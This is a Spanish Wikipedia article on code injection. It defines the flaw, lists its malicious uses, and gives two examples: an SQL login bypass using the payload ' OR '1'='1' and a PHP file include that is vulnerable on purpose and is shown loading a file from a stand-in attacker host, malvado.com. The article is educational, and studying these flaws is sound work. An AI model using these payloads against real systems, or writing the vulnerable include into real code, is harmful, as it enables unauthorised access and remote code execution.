Inyección de código

De Wikipedia, la enciclopedia libre
Saltar a: navegación, búsqueda

Un defecto de inyección de código ocurre cuando es posible enviar datos inesperados a un intérprete. Estos son muy comunes en código antiguo. Se encuentran frecuentemente en consultas SQL, LDAP, Xpath o NoSQL; comandos de sistema operativo; analizadores sintácticos de XML; cabeceras SMTP; parámetros de funciones; etc. Estos defectos son fáciles de encontrar cuando se examina el código, sin embargo son difíciles de descubrir mediante pruebas funcionales. Existen utilidades de escaneo que pueden ayudar a encontrar estos defectos.[1]

Una inyección de código puede resultar en la pérdida o corrupción de datos, falta de responsabilidad en acciones o denegación de acceso. Una inyección puede incluso tomar control total de un nodo.

Algunos tipos de inyección de código son errores de interpretación, dando un significado especial a una introducción de datos por parte del usuario. Existen errores de interpretación similares fuera del mundo de la computación, cuando, por ejemplo, es difícil distinguir adecuadamente un nombre propio de un nombre común. De la misma forma, en algunos tipos de inyección de código puede haber un problema para diferenciar los parámetros introducidos por el usuario de los comandos del sistema.

Las técnicas de inyección de código son populares en el hacking y cracking para conseguir acceder a información restringida, para aumentar los privilegios o para conseguir acceder a sistemas restringidos. Este tipo de ataques pueden ser usados con objetivos malintencionados para muchas cosas, incluyendo:

  • Modificar valores arbitrariamente en una base de datos mediante inyección de SQL. El impacto de esta acción puede ir desde cambios en la apariencia de una página web hasta comprometer datos sensibles.
  • Instalar malware o ejecutar código malintencionado en un servidor mediante la inyección de código de scripting (como PHP o ASP).
  • Aumentar los privilegios como superusuario utilizando vulnerabilidades del sistema operativo.
  • Atacando usuarios de páginas web con inyecciones de código HTML o scripts.

Ejemplos de inyección de código[editar]

Inyección de SQL[editar]

Una inyección de código SQL se aprovecha de la sintaxis en este lenguaje para introducir comandos de manera ilícita que permitan leer o modificar la base de datos, comprometiendo el contenido de la consulta original.

Por ejemplo, considerando una página web que tiene dos campos para permitir a los usuarios introducir su nombre y contraseña, el código detrás generará una consulta SQL para verificar dichos credenciales contra la lista guardada en la base de datos:

SELECT ListaUsuarios.NombreUsuario
FROM ListaUsuarios
WHERE ListaUsuarios.NombreUsuario = 'NombreUsuario'
AND ListaUsuarios.Contraseña = 'Contraseña'

Si esta consulta devuelve alguna fila entonces se permite el acceso. Sin embargo, si un usuario malintencionado introduce un NombreUsuario válido e inyecta código SQL como "Contraseña' OR '1'='1" en el campo Contraseña, entonces la consulta quedaría de esta forma:

SELECT ListaUsuarios.NombreUsuario
FROM ListaUsuarios
WHERE ListaUsuarios.NombreUsuario = 'NombreUsuario'
AND ListaUsuarios.Contraseña = 'Contraseña' OR '1'='1'

En el ejemplo anterior, la condición para validar la "Contraseña" está alterada y siempre se devolverán valores, permitiendo de esta forma el acceso de manera ilícita.

Inyección de fichero[editar]

Considerando el siguiente código PHP en una página web, el cual especifica un fichero en la petición:

<?php
   $color = 'azul';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>

Este código espera leer ficheros del tipo azul.php o rojo.php, sin embargo alguien podría introducir $color=http://malvado.com/fichero_malintencionado forzando al código a leer el fichero php especificado.

Referencias[editar]

  1. OWASP10_A1 accedido el 19 de diciembre de 2013